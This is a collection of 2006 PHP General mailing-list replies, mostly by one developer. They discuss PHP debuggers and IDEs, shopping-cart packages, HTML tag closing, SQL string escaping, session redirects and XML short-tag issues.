On Sunday 03 September 2006 09:00, Alex Turner wrote: I would go for the optimize late philosophy. Once you have a site running, load testing it with - eg - JMeter. If a PHP page is taking a lot of the time and it could easily be converted to static HTML, do it at that point. If you code raw HTML everywhere, then you might find that you have spent a day messing with a page that only gets hit once a day :-( Best wishes AJ Pre-mature optimization is the root of all evil. Unless you're building something you know will be very time sensitive, or a part of the code that you know will run every single page view, optimize first for maintainability/modifiability. That is, write code that is easy to understand and easy to tweak. That means opting for generalized, flexible code when possible. Sometimes that will mean writing all your HTML via print, sometimes it will mean static HTML files (although it almost never does for me), sometimes that will mean including a mostly-HTML file with PHP print statements into a mostly-PHP function to use as a poor man's template. In my experience, the time it takes to connect to your SQL database in the first place will be an order of magnitude larger than whatever it is you're doing anyway. :-) -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: Recommendations for PHP debuggers?
On Tuesday 22 August 2006 03:33, Colin Guthrie wrote: Larry Garfield wrote: http://www.zend.com/phpide/ I just tried to install the modular version for my existing Eclipse install. It insists it won't install without feaure org.eclipse.emf (2.2.0). Since it provides no indication of how to get such feature, I haven't been able to give it a serious look. :-) Yeah it took me a while to find all the dependancies myself hense why I said the tarball was easier for takign it for a whirl, but seeing as my own stubornness meant I found all the necessary updates I figured I'd post them ;) Thanks, but even with that list it didn't work. I kept getting could not find errors while trying to install most of those extra components. So, I downloaded the all-in-one tarball to give it a try. Turns out that it's Eclipse 3.2 while I have 3.1 (which is the latest in Debian Sid). Not sure if that was the problem with the piecemeal approach. Anyway, in short, PHP IDE is Zend Studio partially ported to Eclipse. Unfortunately, it is lacking all of the things about Zend Studio that I like; the fast response time (to be fair, my work computer is substantially faster than my home computer), the near-instant code assistance (it was still barely there), the syntax highlighting (it has it, but it's broken and gets confused by variables inside strings. Oops), the simple project setup (Eclpise projects are so damned heavy!)... Yeah, nothing to see here. Moreover, I couldn't get it to hook up to an external include path. That meant I couldn't get PEAR to link up to my project at all. It was listed in the include paths, but somehow that fact never made it to the built in code runner. Even after I manually added it in-code with set_include_path(), it couldn't connect to my database. The DB works, and the exact same code run on the command line works fine, but it wouldn't talk to the database. My guess is that the included PHP executable doesn't have MySQL installed. So, I tried hooking it up to my existing /usr/bin/php. After eventually figuring out how to do that (it's a bit screwy), I tried running the program and got no output at all, in any of the various output or console or debug screens. Score! (And yes, the program should have been generating lots of output.) I remember hearing that Zend was planning on making their next version of ZDE Eclipse-based. If that's the case and this is the early release of it, well, it's been nice knowing you Zend. All the bad parts of Eclipse with none of the good parts of ZDE. And I didn't even get to the debugger yet. So unless someone has a better idea, I'm back to Kate and a terminal window. :-) -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: Recommendations for PHP debuggers?
On Saturday 26 August 2006 06:29, Colin Guthrie wrote: So unless someone has a better idea, I'm back to Kate and a terminal window. :-) That's the setup I always seem to revert to too!! Can't help but love Kate, if only it had some sort of code completion I'd be a happy camper... Col. Actually it kinda sorta does. It will code complete any string to another string already used in the same file. It's not real code completion, but it's a halfway-decent facsimile and still better than Eclipse / PHP IDE. Although I'm extremely upset at projects being removed in 3.5. Apparently there's now a plugin for it to add projects back in, but it's only available as source. As far as I'm concerned, if it requires a compiler to install then it's not actually released and doesn't actually exist yet. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] functions classes
On Friday 25 August 2006 04:39, Bigmark wrote: Can anyone tell me if it is relatively an easy process for an experienced coder (not me) to convert a php script to mainly functions/classes. I have my own script that i would like to make more streamlined as it is becoming very difficult to work with. That really depends on the nature of the code. I've some code I have to work with now that is built around dumping all kinds of stuff into the global namespace, even from functions. If I ever manage convince the author what an insanely bad idea that is, it will still be hell to fix because of the way it's built. Most code probably isn't quite that bad, though. Your code could already break down into functions quite nicely, or it could be easier to just start from scratch. No way to tell without seeing the code. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Recommendations for PHP debuggers?
On Tuesday 22 August 2006 00:26, Lester Caine wrote: Larry Garfield wrote: I'm watching this thread closely myself, as I'd love something to use at home (on Linux) that doesn't cost what Zend does. :-) Currently I use PHPeclipse, but it is frankly not that good (the code assistance feature is rudimentary at best), and I've not setup the debugger yet. That, and Eclipse itself is just a dog slow memory hog. It would have been nice if PHPEclipse had been given the support it needed to become the 'preferred' PHP addon for Eclipse rather than being kneecapped by Zend who only want to promote their commercial interests. PHPEclipse does it's job well, and is much more feature rich than PDP-IDE. Had a little more support been given then we would have a totally free IDE and would not be waiting for features that still need to be written in PHP-IDE :( I switched to PHPEclipse some time ago, and it does all that I need. I had a debugger working at one time, but now all the 'debugging' is done via inline functions rather than having to knobbly operation with an external tool. I've not had to 'single step' a module for some time ;) Whether it's PHPEclipse or Eclipse itself I don't know, but in ZDE I get code completion for every core function/class and every function/class/method in the current project virtually instantly. It's so rare for me to see any sort of code completion in PHPEclipse that it usually gets in my way more than anything else, and it's keyboard interaction is very intrusive. OK, I know I'm coming from the top so I expect a great deal, but at this point Kate seems like a better option. :-) (I'll try to get the PHP-IDE thing to work again when Ive more time and see how it goes.) -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Recommendations for PHP debuggers?
I use the Zend IDE at work, and honestly I love just about everything about it except the price. The setup can be tricky, but I'm an IT guy so it didn't take weeks, just an hour or two with our company server. :-) Having used both the real time debugger and print-method (sometimes fancily called instrumentation), I can say that both are useful, and both are different things. I currently have hefty debugging facilities built into the CMS at work for print-style debugging, in addition to making heavy use of the real time debugger in Zend. I'm watching this thread closely myself, as I'd love something to use at home (on Linux) that doesn't cost what Zend does. :-) Currently I use PHPeclipse, but it is frankly not that good (the code assistance feature is rudimentary at best), and I've not setup the debugger yet. That, and Eclipse itself is just a dog slow memory hog. On Monday 21 August 2006 01:47, Dave M G wrote: Paul, Robert, Thank you for replying and for your recomendations. While looking into PHP debuggers, I've often come across mention of simply using functions like var_dump() and print_r(). But unless I misunderstand the concept, one has to be always writing these commands into the code, see what they do, and then take them out again when you actually want the code to run as you intend it to be seen. And I don't see how you can do things like watch variables or set break points. Again, unless I don't see it, to watch a variable through many steps of a script, you'd have to place a var_dump() at each juncture, run the whole script, and pick through the output afterwards. If you have arrays which many elements - $_SERVER usually has about 30 or more - that could be quite a lot of text dumped to the screen. While I can see that this approach would work, it also seems to me to involve much more manual labour. In the end, it may just be a personal thing. I'm much more of a graphics guy who wants to do some more stuff with his web pages than a hard core coder. I prefer a more GUI approach to development. Zend didn't really wow me. It took weeks of back and forth with their support to finally get it up to speed. I'll give them credit for having very friendly and responsive support staff. But I would have much rather not needed to use their support so much. But I'd rather that then have to have to build my own set of error handlers, which would themselves need constant tweaking, especially as I'm a newbie. -- Dave M G Ubuntu 6.06 LTS Kernel 2.6.17.7 Pentium D Dual Core Processor PHP 5, MySQL 5, Apache 2 -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Shopping cart
There may be other canned solutions that are not as bad as OSCommerce. It's the only one I've worked with other than Drupal. I've worked with Drupal extensively, but haven't used its ecommerce modules extensively. But yes, I highly recommend OSCommerce as an example of how not to write a PHP application, of any kind. On Monday 21 August 2006 15:18, Gerry D wrote: So if I understand you gentlemen correctly, these pre-builds serve as examples how NOT to do it? Gerry On 8/20/06, Larry Garfield [EMAIL PROTECTED] wrote: On Sunday 20 August 2006 20:17, Gerry D wrote: On 8/19/06, Larry Garfield [EMAIL PROTECTED] wrote: OSCommerce is crap. Don't bother. Why do you say that, Larry? I may want to get into an app like that because I think one of my clients is ready for it. What are the cons, and what are my options? What are Drupal's limitations? I tried using it for a client last summer, because it was available free on the client's web host. It is extremely rigid. If you want a program that works the way they want and looks kinda like Buy.com with a table-based layout in 3 columns with certain visual effects, it's fine. If you want to change or customize anything, good luck. Nearly everything is hard coded with HTML and presentation PHP and business logic PHP all mixed in together. With a table based layout. Ugh. As for using pre-build vs. rolling your own, the main reason I favor ready-made is the bank hookups. Anytime financial stuff is involved, I'd rather use something someone else already debugged than roll my own. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: Recommendations for PHP debuggers?
On Monday 21 August 2006 09:52, Colin Guthrie wrote: Larry Garfield wrote: I'm watching this thread closely myself, as I'd love something to use at home (on Linux) that doesn't cost what Zend does. :-) Currently I use PHPeclipse, but it is frankly not that good (the code assistance feature is rudimentary at best), and I've not setup the debugger yet. That, and Eclipse itself is just a dog slow memory hog. Did you look at this? I posted it earlier and although I've not hooked up the debugger, AFAIK it's free (but provided by Zend), so it should suit you nicely (except that you'll still need that extra gig of ram to run eclipse ;)) http://www.zend.com/phpide/ I just tried to install the modular version for my existing Eclipse install. It insists it won't install without feaure org.eclipse.emf (2.2.0). Since it provides no indication of how to get such feature, I haven't been able to give it a serious look. :-) -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Shopping cart
On Sunday 20 August 2006 20:17, Gerry D wrote: On 8/19/06, Larry Garfield [EMAIL PROTECTED] wrote: OSCommerce is crap. Don't bother. Why do you say that, Larry? I may want to get into an app like that because I think one of my clients is ready for it. What are the cons, and what are my options? What are Drupal's limitations? I tried using it for a client last summer, because it was available free on the client's web host. It is extremely rigid. If you want a program that works the way they want and looks kinda like Buy.com with a table-based layout in 3 columns with certain visual effects, it's fine. If you want to change or customize anything, good luck. Nearly everything is hard coded with HTML and presentation PHP and business logic PHP all mixed in together. With a table based layout. Ugh. As for using pre-build vs. rolling your own, the main reason I favor ready-made is the bank hookups. Anytime financial stuff is involved, I'd rather use something someone else already debugged than roll my own. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Shopping cart
OSCommerce is crap. Don't bother. obligatory plug The Drupal CMS has a complete suite of ecommerce modules that work with it. I've not worked with it recently, but if you just need a straightforward shopping cart it should be fine. http://drupal.org/ http://drupal.org/project/ecommerce All GPLed. /obligatory plug On Saturday 19 August 2006 10:37, Ryan A wrote: Hey, I have been long enough on this list to know this shopping cart question comes up real often and irritates a lot of folks, but sorry, I have checked google and hotscripts and it has come down to a recommendation from YOU guys as they are SO many options out there with each cart most of which i will never need. Feel free to mention commercial products as I have been looking at them too, but if i go in for a commercial solution I will have to cut somewhere else as this is for myself and i'm starting out...budgets low and am trying to do everything myself, but dont have time to make this myself. Will be selling spare parts. I dont want a cart to do a million things, just around 10 :) 1. Admin panel where i enter quantity and it keeps track of inventry 2. Should be *fast* (php+mysql solution) 3.Intergrate with paypal+2checkout anything more is a bonus 4. Easy to template 5. Calculates shipping (not vital, but bonus if it does) 6. Should be able to give discounts based on price and accept discount codes. 7. Should offer the customers who bought this also bought feature 8. Easy to maintain OSC is the first cart that comes to mind, followed by Zen, xcart (xcart out of my budget though) Am leaning towards OSC for the price but its got an overload of bulk and speed problems... Please recommend, even a link to any site and a go to that f***ing site (the = of a RTFM) would be appreciated. Thanks! Ryan -- - The faulty interface lies between the chair and the keyboard. - Creativity is great, but plagiarism is faster! - Smile, everyone loves a moron. :-) __ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Dhtml/javasript layer tips or software (0.T)
It is a small chocolate candy manufactured by the Hershey's corporation. It's also the act of pressing one's lips against the body or lips of another, in a friendly, romantic, or sexual fashion. It can also be a misspelling of a rock band that was popular a while back. It is also an acronym for Keep It Simple, Stupid! I leave the decision of which meaning was intended here as an exercise to the reader. On Saturday 19 August 2006 00:32, Peter Lauri wrote: Now I get interested, what is KISS? :) -Original Message- From: Robert Cummings [mailto:[EMAIL PROTECTED] Sent: Saturday, August 19, 2006 12:14 PM To: Peter Lauri Cc: 'Ryan A'; 'php php' Subject: RE: [PHP] Dhtml/javasript layer tips or software (0.T) On Sat, 2006-08-19 at 11:54 +0700, Peter Lauri wrote: Robert, Isn't it to easy to cheat if you do like this? Just view the source and you have the answers. But, this is maybe not for examination, maybe just for learning. If it is examination, AJAX would be better, so that they can not find out the solution by just looking at the source. I did it based on what he requested. The fact that there's a show hint/solution button in the first place suggests that they can view the information. I guess it depends on whether the questions are part of an exam, or self quiz in which case the hint and solution can be condusive to further learning. As you say though, if it were a test, I'd use Ajax and register the show hint/solution request. Probably incurring full point loss for show solution and partial point loss for show hint. As it were though, an Ajax solution is more involved and his request didn't seem to indicate a need for it so I went with KISS :) -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Easier way to get the name of a variable?
On Tuesday 15 August 2006 16:50, Richard Lynch wrote: If the names are not predictable, the array solution is probably best, as there is movement in the PHP Internals list that may (or may not) make it impossible to dynamically add a property to an object. I've lost track of where that thread ended, so apologies if this is a non-issue. Gah! Please tell me you're joking. That would kill one of PHP's best features, the fact that you can have dynamic data structures. PHP != Java!!! -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: loop in horizontal direction (php-html)
On Thursday 10 August 2006 13:42, Al wrote: Marcus Bointon wrote: On 10 Aug 2006, at 16:39, Al wrote: tds don't need to be terminated with /tds That is, assuming you don't want your pages to validate. As closing your tags is so trivially easy, it's really not worth not doing! I recently encountered a site that contained 3500 unclosed font tags on a single page; This is a very good way of making a browser go very slowly and eat lots of memory. Marcus --Marcus Bointon Synchromedia Limited: Creators of http://www.smartmessages.net/ [EMAIL PROTECTED] | http://www.synchromedia.co.uk/ Best double check your facts. W3C specs say the /td and /tr are optional. http://www.w3.org/TR/html4/index/elements.html I do it all the time and ALL my work W3C validates. Try it. Many closing tags are technically optional in HTML. They are all required in XHTML. Even if you are writing HTML and not XHTML or XHTML-sent-as-html (not to start that fight here, really!), you should use XHTML's pickier syntax. With the exception of the self-closing / (which has never broken anything for me, ever), everything in XHTML's requirements are simply good practice anyway. Closing your tags makes it much easier for you, the author, and others to find where you're ending things. It means you tell the browser explicitly where things end, so the browser doesn't have to guess. When doing anything interesting with CSS or Javascript, knowing explicitly exactly where your DOM tree breaks down is critical. It also means that whenever you do start sending XHTML as XHTML, you're 90% done with your conversion already. Really, there's no reason in 2006 to not properly close your tags other than pure laziness. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Mixing sprintf and mysql_real_escape_string
On Monday 07 August 2006 19:39, Peter Lauri wrote: [snip]My guess: magic_quotes_gpc is enabled where you're running the script. Therefore slashes are already present in the data from the form post.[/snip] Should I turn it off? Adding slashes and mysql_real_escape_string is not exactly the same thing, correct? /Peter As standard procedure, you should disable magic quotes and register globals on any PHP install, just on principle. Both are very old ideas intended to make life easier and more secure for people who didn't know what they were doing but ended up causing more trouble than they were worth. Both are now to be avoided. And no, addslashes() and mysql_real_escape_string() are not the same thing. addslashes() just dumbly escapes quotes with backslashes. mysql_real_escape_string() does real string escaping according to MySQL's locale settings and various other rules, including escaping quotes as appropriate. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Saving a dynamic file
Depends what you're saving it for. Either of those options works, although you'd probably find it easier to save to OpenDoc format rather than Word, as OpenDoc is just XML with compression (and used by every major word processor except Word). Saving just a plain XML file is the same as saving just a plain HTML file. It's just a string of text. You can write it to a file directly, or write it to standard out with an output buffer, than grab the buffer and save that to a file. Or if you want to manipulate it as XML rather than a string, use PHP 5's excellent XML handling or PEAR's XML libraries that mimic them on PHP 4. On Friday 28 July 2006 21:01, MIGUEL ANTONIO GUIRAO AGUILERA wrote: Hi!! I'm in the need of saving to a file a dynamic page that I generated from a PHP script, taking data from a table!! So far I have figured out two options: 1) Save the page as a XML document so it can be editable in a word processor later. Do I have to write line by line until I'm done with the document? 2) Use a class to convert save the dynamic page into a Word document. Is there any other options available?? Regards MIGUEL GUIRAO AGUILERA Logistica R8 - Telcel Tel: (999) 960.7994 Este mensaje es exclusivamente para el uso de la persona o entidad a quien esta dirigido; contiene informacion estrictamente confidencial y legalmente protegida, cuya divulgacion es sancionada por la ley. Si el lector de este mensaje no es a quien esta dirigido, ni se trata del empleado o agente responsable de esta informacion, se le notifica por medio del presente, que su reproduccion y distribucion, esta estrictamente prohibida. Si Usted recibio este comunicado por error, favor de notificarlo inmediatamente al remitente y destruir el mensaje. Todas las opiniones contenidas en este mail son propias del autor del mensaje y no necesariamente coinciden con las de Radiomovil Dipsa, S.A. de C.V. o alguna de sus empresas controladas, controladoras, afiliadas y subsidiarias. Este mensaje intencionalmente no contiene acentos. This message is for the sole use of the person or entity to whom it is being sent. Therefore, it contains strictly confidential and legally protected material whose disclosure is subject to penalty by law. If the person reading this message is not the one to whom it is being sent and/or is not an employee or the responsible agent for this information, this person is herein notified that any unauthorized dissemination, distribution or copying of the materials included in this facsimile is strictly prohibited. If you received this document by mistake please notify immediately to the subscriber and destroy the message. Any opinions contained in this e-mail are those of the author of the message and do not necessarily coincide with those of Radiomovil Dipsa, S.A. de C.V. or any of its control, controlled, affiliates and subsidiaries companies. No part of this message or attachments may be used or reproduced in any manner whatsoever. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Return Values Copied? Copied if By Reference?
On Wednesday 26 July 2006 21:41, Robert Cummings wrote: I'm working on some code that would be called to generate a cell in a possibly large table and therefore a small difference in performance may have a significant impact. PHP uses copy-on-write and so copies are essentially shared until such time as you modify one of them. If you don't need references then copies are faster than references. By the same token, then, if I have a function that generates a large string and returns it, is there any benefit to return-by-reference? -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] xml v php question
On Tue, July 25, 2006 3:15 pm, Kevin Waterson said: This one time, at band camp, Larry Garfield [EMAIL PROTECTED] wrote: The correct answer is (b). (PHP 6 won't even have short tags, so get used to not having them.) ummm, I think it was decided to stay in php6. I could be mildly/wildly mistaken Kevin The last I heard, they were still slated for removal. The PHP core team does have a habit of changing their minds about such things on a regular basis, however, so who knows what their plan is this week. :-) --Larry Garfield -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: SQL Result Set - HTML Table Fragment (but Simple)
On Monday 24 July 2006 18:50, Adam Zey wrote: Writing code in a mail window, so forgive any errors or ugly code. This will print a table with the first row as headers of the field names, and each row after that is a database row. I hope. $firstrow = true; echo table; while ( $row = mysql_fetch_assoc($result) ) { if ( $firstrow ) { echo tr . implode(/trtr, array_keys($row)) . /tr; $firstrow = false; } echo tr; foreach ( $row as $value ) { echo td$value/td; } echo /tr; } echo /table; You don't need to pull the headers from the data, actually. You can access the fields in the result object directly. $result = mysql_query($sql); echo table; echo tr; $num_fields = mysql_num_fields($result); for($i=0; $i $num_fields; $i++) { echo th, mysql_field_name($result, $i), /th; } echo /tr; while ( $row = mysql_fetch_row($result) ) { echo trtd . implode(/tdtd, $row) . /td/tr; } echo /table; The above should work, I think. :-) -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] xml v php question
Disable short tags. If short tags are enabled, the PHP parser sees the ? and switches into PHP mode. It then starts parsing the xml and sees that it's not proper PHP, and freaks out. You can: a) Use PHP to print out the XML declaration as a string: ?php print '?xml version=1.0 encoding=utf-8?'; ? b) Disable short tags so that the PHP parser ignores ? and only recognizes ?php. The correct answer is (b). (PHP 6 won't even have short tags, so get used to not having them.) On Monday 24 July 2006 20:42, tedd wrote: Hi gang: Why does starting my php script with -- ?xml version=1.0 encoding=utf-8? -- stop it from running? I would like to use php in a page, but the page has to begin with a xml declaration to generate a quirksmode for IE6 and under while permitting IE7 to be left in standards mode. We've tried it in both Wordpress and Textpattern and both are php and neither are able to parse a document with an xml declaration above the header. Is this problem solvable? I've been told that better minds have already tried and failed to resolve this issue. So, what say you group? Thanks in advance for any replies, comments, explanations, or solutions. tedd -- --- http://sperling.com http://ancientstones.com http://earthstones.com -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Enterprise grade CMS+Ecomm
On Thursday 20 July 2006 11:30, Chris W. Parker wrote: The answer doesn't even have to be specifically one way or the other. It could be a mixture of the two. Perhaps I use something like Drupal (which I have no experience with) for the CMS part and write my own ecommerce application. Or perhaps I write my own basic CMS and purchase an ecommerce application? Drupal has its own ecommerce suite that is reasonably robust all on its own. Drupal's main advantage: Whatever you're trying to do, odds are you can already do it with some combination of existing modules. Drupal's main disadvantage: There's a metric fuckton of modules and just as many ways to combine them. The don't code, just configure option is not always easy to figure out because it's just so flexible. (Disclaimer: I am a Drupal developer, albeit a minor one.) -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] GD to database directly
On Monday 10 July 2006 09:31, Peter Lauri wrote: [snip] 1. Do not store images in a database, it is just a bad idea from a performance perspective (as has been covered many times heretofore). [/snip] Is that really the case? Is this not depending on the application? :) My application will never grow, and I can easily just change the file storage procedure by changing in my file storage class if a change will be necessary. /Peter The process of loading a script that then loads a database driver and makes an SQL call to retrieve a bitstream and set the correct header and then print the bitstream is slower than the process of sending a URL to the browser which can then make a simple HTTP request against a static file. Always. There may be other reasons you'd want to store binary data in an SQL database, but it will always be a performance hit over just passing a normal file that can be streamed right off the disk to the server's NIC. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] possible IE problem
This is an issue with the session not being closed properly on a redirect. IE seems to be more bothered by this than Firefox, for reasons I don't quite understand. The solution is to explicitly close the session yourself. See: http://www.php.net/manual/en/function.session-start.php#57875 http://www.php.net/session_write_close And various other user comments. On Monday 10 July 2006 10:55, Schalk wrote: Greetings All, Now that the parse error is fixed the login script works fine in FF but in IE it does not do the redirect. Is there a reason why this code may not work in IE? Is there a better way to do this? $_SESSION['email'] = $email; $_SESSION['memberpassword'] = md5($memberpassword); header(Location: http://demo.bdiverse.com/accessible/admin/listmypages.php;); exit; Thanks! -- Kind Regards Schalk Neethling Web Developer.Designer.Programmer.President Volume4.Business.Solution.Developers -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] combine implode() and array_keys() to get a string of key names
